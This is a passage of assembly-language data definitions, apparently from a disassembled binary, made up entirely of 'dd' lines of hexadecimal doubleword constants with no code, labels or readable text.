91F901F7h, 0D4FDD0EDh, 37898F1Ch, 0A43CE932h dd 6A403828h, 605CBB45h, 3B33300Bh, 2BA824D7h, 0B9FC3052h dd 0C3006A2Ah, 7C425F88h, 8D32FEh, 6F0C8EA0h, 7AC953F2h dd 0D16C253Bh, 826800ACh, 89000E9Ah, 77E438FFh, 2CD6B997h dd 6000D718h, 6BB2B0CEh, 0BE69C700h, 400A314Fh, 463E04F8h dd 81618614h, 1238CDE0h, 0DF5410A3h, 0E8646900h, 8610C03Fh dd 2A1A03F9h, 35BF9BB8h, 1C6A3003h, 0E0094E44h, 54B2BB70h dd 0FE5AC1Eh, 2232CE6h, 0F7B8A120h, 0B228E860h, 9344E08Ch dd 0A4BF0088h, 0F63AC836h, 2D13DA04h, 20BEDh, 2E6FC076h dd 755B5E5h, 0B770037Ch, 1FC4103Eh, 0D600C6B3h, 4ABD2F28h dd 7D9B8D0h, 0BAED48B9h, 49FD60DBh, 0EE042DC8h, 2F9E445Dh dd 68B518C2h, 0ED54BCh, 188CDF3Fh, 558A7692h, 1BFE903h dd 0E580E026h, 30B780C8h, 0BAA06B2Eh, 0A924FCE1h, 0BC404464h dd 0C00337h, 0DF9BEA2h, 27AC811Ah, 620E5800h, 0F6E44BD9h dd 3BB7A9Eh, 0B104DFF4h, 0D100C655h, 0FCA11FBEh, 0D7E3A2Bh dd 54D0B323h, 171022ACh, 0C461A779h, 0F050FBB2h, 6A5C49h dd 328E2B79h, 7E76EC19h, 4DE6FE00h, 5E86559Bh, 734412F0h dd 0EDCC4B4Eh, 0C7059418h, 5AD33200h, 18F719EAh, 0A820070h dd 7791DDA4h, 0CB02D458h, 148B6A83h, 6BF8401Dh, 9E43801Bh dd 6A497665h, 9448D887h, 65808C67h, 725CA0F8h, 320173E6h dd 7D9A3424h, 0D8C4AA5Ah, 0D48B146Bh, 0B918E46Ch, 3D3041CFh dd 19623472h, 221CEE70h, 0E02A9F41h, 0A4222512h, 1F532011h dd 8400C2CEh, 38946A31h, 0FC9EBB0h, 97759E4Ch, 0AFAB0B36h dd 0C8C23E84h, 0D50046ACh, 0E6056CCh, 855CBh, 3D8C7349h dd 0E0504A78h, 0BA7D151Fh, 0AFD0B642h, 67504053h, 78C0503Dh dd 2CF08893h, 24EB5501h, 0D21D36C5h, 0C3347CD0h, 515D5476h dd 0E49030EAh, 2F0FE43Fh, 8B7DD681h, 0E07893BBh, 0F25CD3B3h dd 562A1992h, 0D5BC79A1h, 4100E7ADh, 0B75F52D7h, 501FC840h dd 67904Ah, 11F61297h, 4CDE3074h, 0DFE8AA00h, 0EF8B546Ah dd 3BAC3740h, 0D9C67041h, 18090423h, 0E74F9Ah, 65B72D4Ch dd 0ED59026Bh, 0B0249C49h, 0BA50F8A1h, 0A10A304Ah, 61A36A01h dd 4555960Bh, 1751C70h, 74792C99h, 64B1E047h, 5202CA20h dd 970D66CEh, 46186027h, 0AB2C3185h, 604D3008h, 61C29CB8h dd 0E4C28F1Ch, 95B30014h, 0AFC17C5h, 8C170CBAh, 0EE0066A7h dd 0D472D348h, 0B9980219h, 5592DBB7h, 0C4FDCC48h, 794BC5Ch dd 0A56B3B9Dh, 2546C631h, 361F4C34h, 2871BEC4h, 76AF8B0Bh dd 19400215h, 0DC52B3h, 7F2F0D5Ch, 8EDF8F67h, 6C55E211h dd 0A9128500h, 0E77DAE63h, 0CB0060F4h, 969DD9BEh, 0A380A7Ah dd 0B4D2904h, 0C3550CBCh, 51047C39h, 900AC18Eh, 0F26512C0h dd 0E0FD2EEEh, 2D6701E4h, 4B203E4Eh, 7C6D11A0h, 88C1B450h dd 0D70A09C5h, 0A4B749D6h, 96814210h, 81477FA8h, 0DA550CD9h dd 4684B092h, 0A05E9944h, 0FA4CB3A8h, 5F598024h, 1D767177h dd 40E35155h, 8DB2231Bh, 0D104BF29h, 0C27F4A22h, 396758A4h dd 8A3DE148h dd 2BAC0581h, 0C0790AB5h, 0D0B5E9CEh, 0B97898C6h, 0E8C60708h dd 0A834815Fh, 809CF04Ch, 9416A622h, 617B406Ch, 6C071210h dd 6716DFEFh, 582F9601h, 28000831h, 4A12C649h, 0B8BC4029h dd 35C56B57h, 2A4851C3h, 62B7E0C3h, 0EDD40445h, 0C250A281h dd 28207B80h, 9202F2h, 396F4A7Ah, 6A58756h, 0EDB9BD01h dd 42C26D6Eh, 0D851A0h, 48571179h, 6907B224h, 0BAA36B05h dd 0E8C0987Fh, 0A20C44C6h, 3811C048h, 0E04026A3h, 0FB1E0441h dd 0BAC0C36Eh, 60FDE4C1h, 0D40123ACh, 0EE582275h, 5870C1F9h dd 30C940F1h, 0B4D55526h, 3022AB1Eh, 0C29137C5h, 0D23B04F1h dd 78358083h, 2AF22BE3h, 0BE5A07B0h, 0D96848B8h, 79E71C8Fh dd 438538A2h, 2802C347h, 8406082Dh, 3053E8ACh, 4A6DA2B4h dd 0DBEF6409h, 363E800Dh, 1647F5ABh, 0F1B5DD6h, 1D255A4h dd 359D93FEh, 0C0D8386Bh, 29E5ED83h, 0DBD20F2Fh, 0B96130EBh dd 85BFA255h, 2313C598h, 0D6FE9821h, 0CC637461h, 5800D443h dd 862B3263h, 75000DECh, 1030D5B3h, 16AB8F5Ah, 42AA46Fh dd 44B4B098h, 55492690h, 947010C8h, 0E493B500h, 0C19E37D4h dd 832B2E2Ch, 36170389h, 8FF8ECDFh, 0DA0B6A01h, 26B30A3h dd 82C545C4h, 283BA92Ch, 24C911CCh, 0E5E4D8B2h, 0D124B346h dd 0DE12E100h, 0ED65899Dh, 1D297EA1h, 4A66A227h, 60EC63CBh dd 0E71A68Dh, 1CFB5A03h, 0D09523B5h, 0C4C4BA24h, 0B412C5C9h dd 0EE0954D0h, 0A5E0DB49h, 2400C288h, 79AAA7D6h, 1EFB1F63h dd 0E9B94416h, 186888C5h, 0A3BE5304h, 11804320h, 0F9E28B14h dd 0CF006023h, 0F1EE533Ch, 0CD4B2409h, 0C60B1449h, 0C04200E8h dd 4C3CC457h, 6C0443ADh, 981B3895h, 35007CE3h, 1E755A28h dd 340014CDh, 4CDFF2B9h, 9AAF898Bh, 22454B4Ch, 0CC66A2F0h dd 38B1BD28h, 70FB60EEh, 83001653h, 1D692F43h, 25F33A6Eh dd 4027B3D5h, 560E500Ah, 6A00BBDCh, 5BE83999h, 0B0BEE051h dd 0B51F1988h, 2967716Dh, 784807FCh, 12C0BCE8h, 7E3E94h dd 0EFB3B957h, 0FA509E47h, 2453C0Bh, 0C438098Fh, 72830794h dd 0D179AB38h, 0E9F8F6F9h, 0B5882007h, 808C585Ch, 45C34BD6h dd 4AF0C398h, 790A9268h, 0B7159940h, 0FE12FD39h, 0D832A778h dd 9A7B3048h, 2A22FE0Fh, 0DB54A01Bh, 0DD2576h, 4162E4EDh dd 4669A934h, 4037B826h, 80DF5302h, 10D47990h, 44A6C89Ch dd 1878E253h, 0BE1922B3h, 5F281F9Dh, 0A45E40E9h, 3E4278C4h dd 144C717Eh, 0E73F8600h, 0E3BE44A8h, 0A84CC105h, 0EC632D59h dd 0C480A1A2h, 26FC46FAh, 2540188Bh, 14C0C81Ah, 0B026493h dd 0B03C8847h, 28712Dh, 7566DCB8h, 0EC1D679Ch, 2580A195h dd 64E55519h, 80AC9456h, 9CA58577h, 0B81D2B6Eh, 2DCFF159h dd 64C1364Dh, 88406BDFh, 80B57340h, 3B8921B3h, 678FCh dd 0B143A07Eh, 0AF2C6EF4h, 0CB545D3Ah, 8D798045h, 309BD432h dd 9509AC54h, 4867E8B9h, 0F65CE4h, 2B264C6Bh, 0C53ABC9Ch dd 45411F67h, 18D0F210h, 0BE8300B1h, 0F9E165ABh, 350327DFh dd 0B0560AC4h, 44C89D3Ch, 0C7EE1E51h, 0D12AC0F1h, 0E44B7730h dd 47217400h, 3BDF9C6Fh, 37CE4F1Fh, 42D04574h, 0A24E44BCh dd 891D8451h, 5E00B1DFh, 30860F95h, 6E170064h, 0F8C69616h dd 2A013662h, 80BCED73h, 14384D8Ch, 472EA491h, 8A8B6FE4h dd 0C01440ABh, 9077AF46h, 11462108h, 0ACFECD02h, 0A7452C5h dd 85F2E470h, 0A91019Eh, 0C83B113Fh, 4EB0DFE9h, 0B8A148ECh dd 542956h, 0C29BEA1h, 9CC204B7h, 7C059FC8h, 0D0802F3Eh dd 0BCE9EDDFh, 5D5EA369h, 0B1E34C23h, 42E04B05h, 0E4AF00D3h dd 8AEB3031h, 1901CF12h, 0E046E32Ch, 58238B80h, 0C5E54906h dd 7200693Eh, 405474F2h, 0EA1FB24Ch, 23833DD7h, 0C56924FEh dd 2C9340C4h, 980001B2h, 13A5A6EDh, 5A0AFBDFh, 0EF071C1h dd 790C01F6h, 25FA4A18h, 989B4418h, 0A89F79C1h, 9A696510h dd 0BD449988h, 1D972C00h, 5FEB4B16h, 48EF8003h, 0E17DF0FBh dd 6440C217h, 1C1AB265h, 4057C5EDh, 6172483Ch, 0EE02AFFAh dd 8E53B82Eh, 9CFCD044h, 0A8744038h, 51005975h, 220AD06Bh dd 7545A64Ah, 0C3970B3Ah, 600BF210h, 0CD1F3CA2h, 6750FCE4h dd 0DC010564h, 1791B78Dh, 93208C08h, 0DE84BBAh, 359A3084h dd 9C3364h, 0B0EA43F7h, 1F3D7761h, 12DAF00Fh, 4A5800B8h dd 6230E0BDh, 0C7556618h, 11D1071h, 0C0FCE3EAh, 50C6279Dh dd 3F92DD64h, 2FFBF00h, 0EE88D468h, 0CB70CEh, 9620FE1Fh dd 54D2DFECh, 2C834C99h, 0D0783284h, 31B599Bh, 5F257CD5h dd 0CED03B9Eh, 0E501C1ADh, 2A8FC7DFh, 0C31FEEEh, 0E96E9C20h dd 0C6D43004h, 5C1FADA2h, 6C9F9552h, 82943200h, 0E6A30617h dd 3C514856h, 58AFB900h, 67EB1D96h, 1CCC49h, 0FC1B6021h dd 73D886F7h, 31855BD7h, 6C3C8FA0h, 6DBB8098h, 5A4317h dd 0A52CF386h, 0ED89B31Eh, 0B69F6500h, 443BCB58h, 528CBE4Ah dd 38AE1760h, 0FF11E300h, 0AB7DF7D3h, 3CF61236h, 2164DCF3h dd 0A0308E41h, 256200CDh, 6B34B847h, 0C417CAA3h, 0B020C56Ah dd 202B28Dh, 5C868C30h, 0BC413977h, 0A1A068A3h, 2F886BBh dd 7647002Eh, 6BF9DF4Fh, 1507FC2Ch, 4514E382h, 13C63DE1h dd 0C8015C44h, 468DF85Fh, 0E82678CDh, 90B32D12h, 906C9AE4h dd 0EE673102h, 0C256C180h, 6BD811FCh, 3B43E4CCh, 8780F6D6h dd 397FB37h, 0E600F5BCh, 0A0B49AD2h, 0E8D3805h, 2A3F1E55h dd 1CEEF189h, 8B1C4176h, 841BAA6h, 8D28121Ah, 0D6DD2A30h dd 472C8C20h, 0A7883101h, 492AD779h, 0FE6AA042h, 0C90270Bh dd 0AE000EAFh, 51622720h, 9EEC248h, 4943C49Ch, 28B0E600h dd 59016AE0h, 7AD0DFEDh, 0C474B6AFh, 4E018643h, 0E74ABAEDh dd 3870E66Ah, 6BD205EEh, 82C0C9F3h, 0F027F4DCh, 0EC74C170h dd 0CB4B01C7h, 56B8D19Fh, 60F431EEh, 389C1248h, 0DF74E140h dd 0CE2F01A2h, 37D6BF56h, 41A0D8F9h, 0E78DD700h, 0C4B89C5Bh dd 9F470049h, 9D72ED1Dh, 0DC000F64h, 0A4E4CAD5h, 0CD2A81h dd 87559A61h, 0F163D4F9h, 57BB3F0Ah, 0B8208058h, 0B49E3C28h dd 3783458h, 0AFC93641h, 888DDC43h, 9030D2F4h, 0B1334BAh dd 5F8B220h, 0F64E8F1Dh, 81D35E80h, 0EDC11F4Dh, 61AB412Ah dd 0F835310Ch, 0ECA5C2B8h, 0A2568400h, 138F8CC4h, 86D8BB3h dd 998AC918h, 0F11CD345h, 0F9CB4F40h, 7CF35AE4h, 51660930h dd 5051D334h, 2855F200h, 0F7FEE0A3h, 3800BDE3h, 84BA7C75h dd 5EA8003Dh, 23D236FBh, 2C2CE8DBh, 490774B6h, 4A2047BBh dd 901AF4E3h, 7C6158B8h, 82D56C0h, 0A700B8B1h, 0A4CA4AE4h dd 0B7CF2Fh, 3BA1948Dh, 0FD4074B4h, 0C555B518h, 12D0179h dd 926CC48Fh, 0ECC6E19Ch, 861677CBh, 0CC88D1A8h, 3C000A5h dd 0AE996E8h, 0F67F26AFh, 1C788D00h, 0BC0BBF32h, 0C5EC127Dh dd 0CC6024F9h, 1A01F894h, 74FCFF6Ah, 0D5FFC09Ch, 2A93D81Fh dd 80431808h, 7586FB79h, 19011CEFh, 1B7F3062h, 0E6D4C5CEh dd 172FFC46h, 30FE2DBCh, 0D63E81C8h, 951D1B0Bh, 0A54843Ch dd 0C5DFB941h, 0B508403Dh, 7F225D54h, 0C4C0811Dh, 6ACBD410h dd 0AB672700h, 445E1D84h, 19D014FFh, 1F172098h, 45B4C8B7h dd 0BD35360Fh, 51B08D69h, 7D6B0BF0h, 0BAEA0E6Eh, 4C61EE65h dd 7847440Fh, 0C5A38804h, 14ECB34Ch, 0C088C871h, 0D58D8376h dd 92EE1C74h, 12C40021h, 0E0A794AEh, 7CB82D3Fh, 90B52425h dd 16D3C5ECh, 841B9943h dd 0CED48010h, 0C704FBFEh, 0A479DC51h, 0CDD0C8h, 243F3A02h dd 72F36AEFh, 452C477h, 4A450598h, 90C02836h, 0B8847A2h dd 562A824Bh, 33698848h, 3E181300h, 0D194AFC6h, 23240258h dd 41541275h, 39009059h, 0D5B2A75Dh, 85580194h, 0BD2CCC44h dd 0D9483034h, 0FF80D899h, 0F485D521h, 0FCC73253h, 1CE89D70h dd 51CE8067h, 0EA87A068h, 4D89D2h, 0D981A9BBh, 0D66C5B98h dd 319F4927h, 281911B8h, 0C1418FFCh, 8443C8A5h, 526E170h dd 9C9D4B40h, 8BA404ADh, 35960110h, 98306848h, 47C2450Dh dd 64807830h, 57D654CEh, 4226003Eh, 0E539CD2Dh, 0FD31B91Fh dd 0A1889BCh, 0E4202C17h, 94C45480h, 483486A8h, 942C6862h dd 6BE094BEh, 1F7B110h, 4B283A21h, 0DC15F2B6h, 0CE16A2A4h dd 54060346h, 3159BE48h, 1379C3A0h, 22642317h, 7684866Ch dd 63FB042Bh, 0C37C2D6Dh, 9BB2451Eh, 9498E062h, 30FAC04h dd 0A91209C9h, 80488E2Fh, 91809D43h, 6CC54889h, 60B04982h dd 0A41030A0h, 1500A798h, 95BC29DEh, 0E29CAD3Dh, 99440945h dd 58100BF7h, 32D05CDh, 0FB405B2h, 0A06A1C80h, 90F651FBh dd 0B985C047h, 2FC698C2h, 0CD3A680h, 0B2E868E9h, 0CCC5E11Fh dd 20C46915h, 0CB2820E2h, 0EF4A301Eh, 633EC6C4h, 3B5B8A0h dd 24A6F2D0h, 2920DCB9h, 0E4D45837h, 224DF711h, 5A91002Ah dd 0DE67C283h, 0EE07A181h, 0F4B5FCC1h, 18BA1021h, 248AC9F4h dd 2CF0B123h, 133460D8h, 6300D004h, 0F8A4EF40h, 22CA929h dd 6306166h, 0ACE0A631h, 350F8F12h, 296345Ch, 604B39CEh dd 92A09910h, 92B9F884h, 0D0B60278h, 0B0249A3Dh, 82A1871h dd 0D8094031h, 0C500C9A8h, 68A11547h, 7F9F101Fh, 0E080065h dd 0D97A0C2Eh, 0EB0032A1h, 0AC6274A2h, 5B7E1004h, 711043C2h dd 0DEA89397h, 0AF1FC38Dh, 83C995AAh, 92BCB3F0h, 0B7C41EDh dd 9C9EE010h, 0EE9FA009h, 0D8C42Bh, 693D2207h, 3AAB27BEh dd 0F01AF700h, 3554C92Ch, 0C79026F4h, 0BC2409C8h, 4CA810EBh dd 0E4B4441Ah, 4A516B40h, 81C0B8C6h, 8103670h, 5E48AABDh dd 0D0122C59h, 2216A832h, 8CC4BC1Fh, 0A700C4B9h, 198A0797h dd 28727Dh, 30EE136Eh, 0BF512E3Dh, 42A67915h, 64F012B8h dd 80A54823h, 1023823h, 7DFF689Fh, 6836BDADh, 816680BCh dd 1E6149FEh, 0F79596h, 5370524Fh, 0F12672DBh, 253BBC76h dd 247860E5h, 50B496C4h, 6E0EE68Ah, 5B1CE94h, 3000B2BDh dd 5CF542DAh, 0E13E0750h, 7EDE11B5h, 0FE942461h, 13C686Ah dd 0E048B142h, 54228B4Ch, 0F9BC804Ah, 6200DFAFh, 67BD1CF8h dd 0E921B6Fh, 0F661CB4Ah, 0D4EE413Dh, 53C28B79h, 0B0225480h dd 90B665A1h, 0AA42C0D9h, 0AF16A36Ah, 8C11622h, 0D21024B2h dd 43009B5Bh, 0C6EA7750h, 1FF913E2h, 57613772h, 0DF890004h dd 0CD10F295h, 0E8AC6A29h, 0F1397B01h, 67FC5F40h, 0D37D06A3h dd 98EDE7CDh, 0C00EA417h, 652098h, 2FE36089h, 73C3D457h dd 0ECB1D900h, 1141B93Fh, 5A10583h, 0F4406791h, 0F912CCC4h dd 70A2C434h, 492E1022h, 4E11285Eh, 50320051h, 15580B03h dd 0DF987ED9h, 0E7739321h, 1ABA8800h, 593B6C85h, 38D902ECh dd 6AA80C6Eh, 0F4471474h, 15C010B7h, 210694h, 887FE872h dd 65892B3Eh, 31D6D502h, 0D176B7C0h, 44901464h, 0E6B0C440h dd 0B38EAB8h, 0CCE04CA3h, 0C9E80CA6h, 0F8B2F8F6h, 4F1F4144h dd 796C88C1h, 5C428A4Ah, 0E0D64DF0h, 91C6D338h, 75CB80A8h dd 0AB035B02h, 0D2908E0Ch, 45B94834h, 253420C8h, 0D1B5E28Bh dd 9C44A71Ch, 0EF21CE00h, 0B7473781h, 7B6700EAh, 59F7C0AEh dd 2F12B625h, 8013A2D4h, 2D47E868h, 20101070h, 0EF002502h dd 90A24D57h, 95B3677Ch, 13653420h, 97179238h, 0CC89E43h dd 994286A2h, 1E56B313h, 0C41F0940h, 4D000044h, 6B37F074h dd 0D31906C5h, 6AE48839h, 98B98DFh, 0C66412D8h, 7A87D9Ch dd 25656CF2h, 4563B01Bh, 4CF86BD3h, 31412E0Bh, 6A3884A3h dd 0CE1D1300h, 2360BADDh, 3685A108h, 577C392Eh, 0CDF96280h dd 9EFE9DF7h, 4F391700h, 219C3381h, 0FDDE0014h, 84C7C816h dd 0B600321Fh, 0CE28A1DFh, 3875887Dh, 4A00CA86h, 0F031794Fh dd 21DEEE49h, 7115BA0Ch, 0E5983CC0h, 0DB7FEF0Ch, 0DC107221h dd 1063CD67h, 8788E82h, 1E14A800h, 0B15BEEFDh, 8CD5387Fh dd 7C105D01h, 858F8398h, 8814EA29h, 23E0C203h, 4B2ED87Eh dd 0EF960C9Ah, 0FD59D54Ah, 0A97C3B15h, 6F800030h, 849F8BF4h dd 3C780003h, 0A731D50h, 0EC31B64Ah, 2DAE3994h, 5429C180h dd 47D877FEh, 2CC5A00h, 6B34F7EBh, 73FF7B2Dh, 41E51C27h dd 0C1955E4Eh, 84632E44h, 0D3B8E747h, 0B81417AAh, 5AE49A9h dd 0CF54EF94h, 80917C08h, 0D60BA03Ch, 0CC002EFAh, 1381BB12h dd 82F94Dh, 0BC21796Dh, 0F50FCD4Eh, 52EF9CA8h, 0CC49E461h dd 0B18A291Ah, 80ACD811h, 783C9152h, 190C4F22h, 0A872CD60h dd 106A0254h, 5CA42DDAh, 0E5281C80h, 0C150D968h, 48339BA4h dd 3F358E6h, 0FAB87A71h, 10DEE5AEh, 5A38C100h, 0CD7F9764h dd 4CFF5415h, 16C0A6E5h, 74E0AAh, 121C4F57h, 0B85048F0h dd 7F189010h, 4928FB94h, 991138DDh, 2789610Ch, 480AA698h dd 5410CC3Eh, 8B4D6B00h, 0C2B9E54h, 0FB113715h, 0B589D9C1h dd 0B05298D1h, 5C772096h, 0DA01E3D1h, 1D814575h, 5894D82Ch dd 57105CF1h, 583680E0h, 0D09C5EFFh, 0A6079C41h, 6349B59Dh dd 19008782h, 0A2FA5706h, 0FF3A80h, 0F68B1AB6h, 9962FB9h dd 3C394A90h, 9205BAD0h, 1440DF04h, 4D2A3580h, 0DD09486Ah dd 4836EC0Fh, 19F382A0h, 942ACB30h, 2801B475h, 49D06838h dd 0ACF09DD4h, 0B519C644h, 0A000B1CAh, 4B538FFEh, 24CBC36Ch dd 3F0EE4h, 633D6ACCh, 0B10A0D4Ah, 0AC7F67FFh, 0FC739485h dd 80E72408h, 6B293C8Fh, 0C001707Fh, 3FAB135Bh, 74C481E9h dd 179CA495h, 1FA847FDh, 0F0D0F718h, 822D1475h, 0BAD40654h dd 35ACF054h, 427F7E00h, 18DA58AAh, 0D4D4A057h, 5A311C48h dd 0FFF3C0B5h, 0A5F7B116h, 39BD4212h, 41FAC00Ch, 0DAB70006h dd 0F5D724Ch, 0B93A6F0Bh, 804CC8CCh, 0A0FA2E48h, 0F84C12A2h dd 5ACB0A7Ch, 72410E74h, 8CB43072h, 9C00FCC3h, 0DA38A4Fh dd 67FDE2h, 3EC605BAh, 2E65371Fh, 0DF0CFF00h, 0B7599C38h dd 0D3C81E2Dh, 7398EA11h, 7F00Eh, 3457606Bh, 0B69C3F48h dd 43BB7E03h, 0A56EC5B7h, 725184Bh, 5F40F799h, 1BA69Ch dd 0D4195AC9h, 62739A55h, 0EFA27204h, 0CC85648h, 0AB9A8888h dd 0B560E600h, 0E10E0A17h, 0BDF60357h, 9337D90Bh, 2A5C7BA0h dd 0E8105A29h, 0FB0A3A07h, 96016750h, 559A00BEh, 92185B2Dh dd 5906815Dh, 0D6A79498h, 0F2E1431h, 7C00E440h, 432CF93Fh dd 0D3627094h, 445DFF21h, 0CF40A184h, 0E0353811h, 0CC60B6ADh dd 5C75C8B9h, 4A403B6Fh, 0AFF6D682h, 0F940E683h, 41E837FFh dd 8AAA81Dh, 24A7EF83h, 0E253A197h, 13CC418Ah, 9D41CEECh dd 24DA5311h, 688AE954h, 382490AAh, 2900878Bh, 60AB0814h dd 0CC71C123h, 0A94A1635h, 46A93444h, 813BAFC1h, 4C940970h dd 0E2807CA6h, 0B748ECFFh, 0D600A891h, 0A2595B92h, 17771ADh dd 6DEB7A90h, 0E8244D4Eh, 130221D1h, 71911702h, 5A8891CAh dd 694CD0D8h, 640268FBh, 0A4997491h, 86A80C65h, 8788E8D0h dd 0BA1373C1h, 32A17818h, 0D83041DBh, 1600502Ah, 37249BEBh dd 448CB07Bh, 6800F887h dd 17232E67h, 0D6708Eh, 0E6807BF0h, 19332012h, 0CC43590Eh dd 0EF61F818h, 0F9D3634Bh, 49018582h, 0B26236D9h, 53FC24EDh dd 0C0D51D71h, 7DD4C02Dh, 0ED85CD2h, 7A948E14h, 4212C0A4h dd 318E0A8h, 0FC1C8252h, 0F8216636h, 0F9A60886h, 80FCB594h dd 4781DA2Bh, 0FECC06B4h, 9844BB4Eh, 1A6EDB44h, 308CC1DAh dd 0F48B9440h, 0A0C2698h, 51C57391h, 42351A9Ch, 44705Dh dd 0A11CBA30h, 0BE31F0h, 0B5804B15h, 3D2F6295h, 0CA433A00h dd 2A3EAAF7h, 7B940B14h, 0B431CCB3h, 840D0C7Eh, 0CD524CF8h dd 8F229Ch, 31BAA921h, 2E93DC15h, 0E9BF1E2Ch, 7021191Bh dd 0CA3416C0h, 0B97C0A82h, 4D6A010Ch, 64DA9A88h, 0D7601114h dd 0C30974D9h, 435F16C8h, 767830F9h, 100AF81h, 0FF6C4194h dd 1BE457h, 8822F1FDh, 0DEE385FAh, 0B4B64929h, 0B9409500h dd 704D64Eh, 0D0E7B14h, 0FFD706Eh, 62012DBDh, 0D9646718h dd 1032119Bh, 1237A800h, 0E0FA613Eh, 0BC2E7036h, 0A4FC00B9h dd 0AF014AF8h, 0A7002916h, 0CD7E64E3h, 0BAA20C1Fh, 94920138h dd 0D7FAE77Fh, 9898472Ch, 0B2A4E680h, 0AB7EDAh, 56D7B395h dd 8106E443h, 962C9104h, 4C8C2E5Dh, 0A6501A3h, 0BF3A1318h dd 0CDF6C036h, 7324A200h, 824F1D4Ah, 423D2851h, 9D793EE4h dd 9728B12h, 281A54B0h, 43D4B004h, 807A0FBDh, 14126166h dd 0CC2C7E7Dh, 0C42AC6A2h, 4CA27829h, 9B783Dh, 84228CA2h dd 3A8E442h, 0A4C037BDh, 69A89904h, 0DC0A3862h, 44DDE66Dh dd 10E21032h, 2A6115CCh, 9D1BC161h, 30CA7092h, 2DB40CFCh dd 0E51F08C1h, 19C8DC72h, 507CB0F9h, 15A14CDh, 0AFE9E6C0h dd 0D09D4D7Dh, 84984986h, 0D8B898ECh, 8F11621h, 7581DB51h dd 85E4A8A6h, 6FE3F430h, 0D81451E1h, 89754B80h, 8003BA3Eh dd 6F32236Dh, 3DB0970Ch, 0BFA69Eh, 2F789D46h, 71A94D62h dd 0F52EE401h, 0D0B56836h, 0A5AE6987h, 627C0DFh, 5C1FCD44h dd 0DA474983h, 0E5C1DB9Ch, 68D1C133h, 16CC6E6h, 0AFA53FA4h dd 0D81AD2F8h, 8400AA7Eh, 6EEB6A6Dh, 13737DC0h, 19987C3Bh dd 182C83Ch, 0B501DE87h, 0F68180E3h, 778A86Ah, 1225029Fh dd 7EEE77B1h, 0FD0030C4h, 5AD8B521h, 75C15BFh, 0F4A256Ch dd 0C7CCC472h, 0CB96B210h, 0A900B853h, 0BB08849Ah, 476124C3h dd 0C8210478h, 44A2DEh, 34350FDAh, 514E4724h, 1430F079h dd 582B5D5Ch, 8C8EEF00h, 5BCC49AAh, 0F950BF12h, 0F06E3C0Ah dd 0A936FD60h, 0E76A0197h, 0AEFAF757h, 0CC21A3EEh, 1DA99240h dd 0D1113742h, 8F0C6749h, 0BC3BBAC0h, 0D0008425h, 0FFC7F25Eh dd 0C01936E0h, 0CDACCCC0h, 0F1D2B615h, 0CA75E48Ch, 1D88AB20h dd 0BD586087h, 479D1984h, 19827A39h, 0B1814EC1h, 9B638060h dd 8C80E496h, 0C524FDE8h, 17CC262Dh, 325164BCh, 0EC00120Fh dd 73AC90EDh, 0D28CE148h, 80D94880h, 0FB88A117h, 697BA610h dd 0F02C9500h, 0CFD1ECA0h, 7C3C160Eh, 0B88414E9h, 70A9A0D9h dd 7F023518h, 9D5D2E4Ch, 0D1D08680h, 548F081h, 99E9FFE7h dd 94901D0Fh, 7F3080C8h, 1C4EC449h, 49EE7304h, 2890A22Eh dd 650EA16h, 0B566DC96h, 6100D9CBh, 9C1C7E98h, 0FDF36h dd 580A9785h, 0C134EC6Ah, 83F92925h, 0A9F03A9Ch, 0AE119766h dd 0A9718019h, 5B1A01B7h, 78880734h, 40049CF7h, 0B05A20BAh dd 0CFD02F5Ch, 8040DED5h, 0ED705369h, 442E008Ah, 0B5B25D2h dd 9F091D2Dh, 42AC4CBFh, 135C98F4h, 0B5C20084h, 0BC54468Dh dd 0B805A89Dh, 8749475h, 6C40E894h, 2667EA87h, 9185002Fh dd 45B4EB49h, 62314FCCh, 46EF5A20h, 0C228020h, 8161FF11h dd 71489469h, 600F9FF8h, 28D89293h, 6E981D47h, 3B71C302h dd 90294D78h, 0E50388BAh, 0B09E4A63h, 0D83617h, 0B2D1E24h dd 9DA57049h, 5FFF520Bh, 1B10AB8Bh, 30F188B4h, 43E90026h dd 76B81312h, 870C88D0h, 0F0B634F0h, 9CBA4C6Dh, 8EAE9480h dd 7E057680h, 2FD81E8Dh, 3BB8CCC0h, 0C8B9488Ch, 0E1309680h dd 0D1004F5Fh, 3C6EF3Ch, 48042147h, 29221CC5h, 402D6137h dd 609A4DA2h, 89DA7A5Ch, 97CF10DEh, 666817D0h, 0E6400842h dd 270ECC85h, 8BDAE8CCh, 8FF4AFD9h, 0A0C79D89h, 0B783B547h dd 75960187h, 7CBE534Ah, 0E0CB5461h, 5A00DD98h, 6F2468CDh dd 90424877h, 69308038h, 6F63C72h, 17BC1F24h, 5B1C01E8h dd 80D1B5C3h, 35F31579h, 1E89D9B4h, 716C50h, 6B267330h dd 0B03E3DE1h, 0FA2F8549h, 74C9AD90h, 0A498CC03h, 4C494100h dd 297C9DF7h, 813B5E34h, 6758C030h, 0DFBC3B9Eh, 6BC89A00h dd 0B1E068D9h, 9BCECB04h, 2EF9D48h, 14CC0416h, 9C006089h dd 1EEC7BB4h, 0C051FA12h, 0A32CC8h, 8E2C9832h, 6785EF06h dd 81786204h, 5E831869h, 0E05858D9h, 4DEFDC0Bh, 0D8358849h dd 0E100BA74h, 0AD220142h, 1AFF60A6h, 0B9268F5Bh, 0E800287Ah dd 0E7DC1022h, 10E3853h, 0A6DFF8F3h, 4C68E658h, 94996934h dd 0B9AA3B00h, 0FBEF99C6h, 49C7543Ch, 4771D026h, 0E50044C9h dd 7018E1D9h, 13541E6Ch, 7741FFh, 465A02E5h, 0E4009958h dd 6671E557h, 0FBB812h, 64FA4116h, 0DC73A760h, 852BEB03h dd 373E6CE0h, 4C944651h, 0EB6F8A38h, 6E708008h, 1BACFD5h dd 3B6A8635h, 80D4FE50h, 0B020FB29h, 7B81796h, 0CD52D213h dd 10074742h, 88D1C987h, 185E1C00h, 75954F11h, 0B7BA1866h dd 0EBFE90F5h, 0F6D749C5h, 0DF4CC900h, 0A0A305Bh, 0D369463Ah dd 4CEC1148h, 0F81224E0h, 78A4B101h, 0ABD4C59Ah, 0D1C23FA9h dd 0D147D018h, 56011602h, 0AB8E9909h, 80E7BB9Eh, 683B3E7h dd 0FE6FEDF0h, 7A0061D8h, 85B44D9Dh, 1F5E3419h, 0CC77E910h dd 6179DF6Ch, 6271EF00h, 0C4A66DDAh, 0FEDC3E3Dh, 1575B4D4h dd 0A0D0BE12h, 255CA07Ch, 202B07EEh, 0E3F80B1Dh, 90E08CE3h dd 0EF051701h, 0FE02DF3Ch, 3403A1C4h, 1EBB64F5h, 41598549h dd 0D3627F78h, 0AB02CCA0h, 0E2ED8018h, 60F961h, 